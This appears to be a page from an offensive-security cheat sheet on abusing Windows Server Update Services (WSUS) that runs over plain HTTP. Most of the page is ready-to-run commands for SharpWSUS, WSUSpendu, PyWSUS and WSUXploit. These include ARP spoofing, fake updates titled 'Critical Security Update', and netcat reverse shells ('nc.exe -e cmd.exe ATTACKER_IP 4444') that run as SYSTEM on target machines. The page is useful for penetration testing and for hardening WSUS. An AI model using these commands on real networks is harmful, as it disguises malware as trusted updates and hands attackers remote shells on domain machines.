Documentation Index
Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
Use this file to discover all available pages before exploring further.
Overview
WSUS (Windows Server Update Services) pushes updates to domain machines. If WSUS uses HTTP (not HTTPS), you can MITM the update process and inject a malicious update that executes as SYSTEM.
Check WSUS Configuration
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v WUServer
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v UseWUServer
(Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" -Name WUServer).WUServer
Vulnerable If
WUServer uses http:// (not https://)UseWUServer = 1
SharpWSUS
Inject fake update on WSUS server (requires admin on WSUS server or MITM position).
https://github.com/nettitude/SharpWSUS
Create Malicious Update
SharpWSUS.exe create /payload:"C:\Windows\Temp\nc.exe" /args:"-e cmd.exe ATTACKER_IP 4444" /title:"Critical Security Update"
Approve Update for Target
SharpWSUS.exe approve /updateid:<UPDATE_GUID> /computername:TARGET.domain.local /groupname:"Critical Updates"
Check Status
SharpWSUS.exe check /updateid:<UPDATE_GUID> /computername:TARGET.domain.local
Cleanup
SharpWSUS.exe delete /updateid:<UPDATE_GUID>
WSUSpendu (Python)
https://github.com/AlsidOfficial/WSUSpendu
python3 WSUSpendu.py -c "C:\Windows\System32\cmd.exe" -a "/c C:\Windows\Temp\nc.exe -e cmd.exe ATTACKER_IP 4444" -t TARGET
PyWSUS — MITM Attack
If on same network and WSUS uses HTTP:
https://github.com/GoSecure/pywsus
ARP Spoofing + Inject
# ARP spoof
arpspoof -i eth0 -t TARGET WSUS_SERVER
arpspoof -i eth0 -t WSUS_SERVER TARGET
# Run PyWSUS
python3 pywsus.py --host ATTACKER_IP --port 8530 --executable payload.exe
WSUXploit
Automated WSUS MITM.
https://github.com/pimps/wsuxploit
python3 wsuxploit.py -t TARGET_IP -e payload.exe -w WSUS_IP
Quick Reference
| Scenario | Tool |
|---|
| Admin on WSUS server | SharpWSUS |
| MITM position (HTTP WSUS) | PyWSUS / WSUXploit |
| Python-based | WSUSpendu |